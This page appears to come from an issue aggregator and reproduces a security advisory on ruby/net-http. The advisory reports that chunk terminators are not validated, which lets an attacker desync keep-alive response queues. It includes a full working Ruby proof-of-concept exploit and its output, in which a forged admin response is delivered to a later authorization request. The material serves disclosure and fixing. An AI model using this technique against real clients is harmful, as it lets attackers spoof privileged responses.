Chunk terminators are consumed without validation, allowing response-queue desync on keep-alive connections

Aperta
#378 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
3/5
Tempo stimato
1-2 giorni
Idoneità per principianti
58/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
ruby
Ambito
backend, security

Direzione di ricerca

Start with lib/net/http/response.rb:660, where Net::HTTPResponse#read_chunked consumes each chunk terminator, and read the surrounding method. Reproduce the issue with the proof of concept in the issue: the first response should be rejected when its terminator is not CRLF, and the keep-alive connection must not deliver the forged response as the next request's answer.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

About

Title: Chunk terminators are consumed without validation, allowing response-queue desync on keep-alive connections
Repository: ruby/net-http
Location: lib/net/http/response.rb:660
Severity: Medium
Impacted versions: 0.1.0, 0.10.0, HEAD (e686ee5)

Summary

When a response uses Transfer-Encoding: chunked, Net::HTTPResponse#read_chunked reads
each chunk's data and then, in an ensure block, blindly reads the two bytes that RFC 9112
requires to be CRLF. It never checks those bytes. A chunk followed by arbitrary bytes such
as 5\r\nhelloXX0\r\n\r\n is accepted: the body becomes "hello", the "XX" is silently
discarded, and the parser resumes where the attacker chose. A strict parser rejects the
same stream at the terminator.

Because the discarded bytes can be the beginning of another complete HTTP response, this
is a de-chunking desync primitive. On a reused keep-alive connection, a forged response
that sits behind the malformed chunk is left in the socket buffer and is delivered as the
answer to the application's next request.

Impact

An attacker who can influence response bytes, such as a malicious or compromised origin, a
load balancer or CDN edge, or a network attacker on plaintext HTTP, can desynchronise the
client's response queue. The application then reads attacker-chosen data as the answer to
a subsequent, potentially privileged request (the proof of concept forges the response to
a GET /whoami authorization check). That undermines any authorization decision, balance,
feature flag, or other value the application parses from a later response, and it does so
silently because the malformed framing is accepted rather than logged as an error. Shared
caches or proxies ahead of the client can be poisoned in the same way.

Mitigations

Only affects chunked responses (HTTP/1.1 Transfer-Encoding: chunked) received over a
connection the attacker can influence; servers and networks that are trusted cannot
exploit it. HTTPS with a trusted origin, connection-per-request (no keep-alive), or
reading the whole body and closing the socket limit the impact. A correct client must
verify that the two bytes after each chunk are exactly CRLF and raise
Net::HTTPBadResponse otherwise, as RFC 9112 §7.1 requires, so the connection is
discarded instead of desynchronised.

Examples
example 1

A malicious origin returns a chunked page whose first chunk ends with non-CRLF bytes and
is followed by a forged JSON response. The application reuses the connection for its
per-user entitlement check and receives the forged admin object.

example 2

A streaming endpoint reflects attacker-controlled content in a chunked response. If the
attacker can influence chunk boundaries, the extra bytes hide a complete response that the
client later attributes to an unrelated request on the same connection.

example 3

A front-end proxy and the Net::HTTP client disagree about where the chunked message ends.
The proxy forwards the following bytes as a new message, while the client treats them as
already-consumed chunk data, leaving the two sides out of sync.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: Net::HTTP accepts a bad chunk terminator, desyncing a keep-alive
# connection and poisoning the response queue (CWE-444 / de-chunking desync).
#
# Bug: lib/net/http/response.rb#read_chunked consumes the two bytes that must
# be CRLF after each chunk's data with a bare `@socket.read 2` in an ensure
# block and never checks them.  RFC 9112 requires a protocol error there.
#
#   ruby chunked_poc.rb [REPO_ROOT]      (default /src)
#
# Exit 0 means the exploit worked.

REPO = File.expand_path(ARGV[0] || '/src')
ENV['BUNDLE_GEMFILE'] = File.join(REPO, 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(REPO, 'lib')

require 'socket'
require 'net/http'

src = Net::HTTPResponse.instance_method(:read_chunked).source_location.first
abort "not testing the repo copy (loaded #{src})" unless src.start_with?(REPO + '/')

FORGED = '{"role":"admin","balance":999999}'

# A response for request #1 whose chunk data is "hello" but whose chunk
# terminator is "XX" instead of CRLF.  Behind it, on the same TCP stream, sits
# a complete forged response.  A conforming client rejects the message there;
# Net::HTTP silently discards "XX", accepts the body and leaves the forged
# response in the buffer for the *next* request.
MALICIOUS = "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n" \
            "5\r\nhello" + 'XX' + "0\r\n\r\n" \
            "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n" \
            "Content-Length: #{FORGED.bytesize}\r\n\r\n#{FORGED}"

LEGIT = '{"role":"user","balance":10}'

# ---------------------------------------------------------------------------
# Live origin: serial keep-alive request handling, exactly like a real server.
# ---------------------------------------------------------------------------
class Origin
  attr_reader :port, :log

  def initialize
    @srv  = TCPServer.new('127.0.0.1', 0)
    @port = @srv.addr[1]
    @log  = Queue.new
    @thr  = Thread.new { serve(@srv.accept) }
  end

  def serve(sock)
    2.times do
      line = sock.gets
      break unless line
      verb, target, = line.split(' ')
      headers = {}
      while (l = sock.gets) && l != "\r\n"
        k, v = l.split(':', 2)
        headers[k.downcase] = v.to_s.strip
      end
      sock.read(headers['content-length'].to_i) if headers['content-length']
      @log << "#{verb} #{target}"

      if target == '/render'
        sock.write(MALICIOUS)      # first response, hides the forged one
      else
        sock.write("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n" \
                   "Content-Length: #{LEGIT.bytesize}\r\n\r\n#{LEGIT}")
      end
    end
    sleep 0.2
  rescue IOError, SystemCallError
    nil
  ensure
    sock.close rescue nil
  end

  def drain
    50.times { break if @log.empty?; sleep 0.02 }
    out = []
    out << @log.pop until @log.empty?
    out
  end

  def stop
    @srv.close rescue nil
    @thr.join(0.3)
  end
end

# A strict RFC 9112 de-chunker, used to show the message is invalid.
def strict_dechunk(bytes)
  pos = 0
  body = +''
  loop do
    line = bytes[pos..][/\A[^\r\n]*/]
    return "protocol error at #{pos}: bad chunk-size line #{bytes[pos, 20].inspect}" unless line
    size = begin
             Integer(line.split(';').first, 16)
           rescue ArgumentError
             nil
           end
    return "protocol error at #{pos}: non-hex chunk size #{line.inspect}" unless size
    pos += line.bytesize + 2
    break if size.zero?
    body << bytes[pos, size]
    unless bytes[pos + size, 2] == "\r\n"
      return "protocol error at #{pos}: chunk not followed by CRLF (#{bytes[pos + size, 2].inspect})"
    end
    pos += size + 2
  end
  body
end

puts "strict de-chunker on the same bytes: #{strict_dechunk(MALICIOUS.split("\r\n\r\n", 2)[1])}"
puts

origin = Origin.new
http   = Net::HTTP.new('127.0.0.1', origin.port)
http.start

first  = http.request(Net::HTTP::Get.new('/render'))     # attacker-influenced page
second = http.request(Net::HTTP::Get.new('/whoami'))     # the app's privileged check
http.finish rescue nil
sleep 0.2
log = origin.drain
origin.stop

puts "app GET /render -> #{first.code} #{first.body.inspect}   (body accepted despite bad terminator)"
puts "app GET /whoami -> #{second.code} #{second.body.inspect}"
puts "origin sent for /whoami: #{LEGIT}"
puts "origin handled: #{log.join(' | ')}"
puts

if first.body == 'hello' && second.body == FORGED
  puts 'EXPLOITED'
  puts '  * Net::HTTP accepted a chunked message that a strict parser rejects'
  puts '  * it silently discarded the non-CRLF terminator bytes instead of failing'
  puts '  * the forged response queued behind it was delivered as the answer to'
  puts '    GET /whoami, so the app saw attacker data for its privileged request'
  exit 0
end

warn 'NOT EXPLOITED'
exit 1
stdout
strict de-chunker on the same bytes: protocol error at 3: chunk not followed by CRLF ("XX")

app GET /render -> 200 "hello"   (body accepted despite bad terminator)
app GET /whoami -> 200 "{\"role\":\"admin\",\"balance\":999999}"
origin sent for /whoami: {"role":"user","balance":10}
origin handled: GET /render | GET /whoami

EXPLOITED
  * Net::HTTP accepted a chunked message that a strict parser rejects
  * it silently discarded the non-CRLF terminator bytes instead of failing
  * the forged response queued behind it was delivered as the answer to
    GET /whoami, so the app saw attacker data for its privileged request
Lingua principale
Ruby
Stelle
150
Fork
104
Merge medio
4g 6h
PR unite (30g)
10

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di ruby/net-http

Tutte le issue di ruby/net-http

Issue simili

Altre issue su Ruby

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.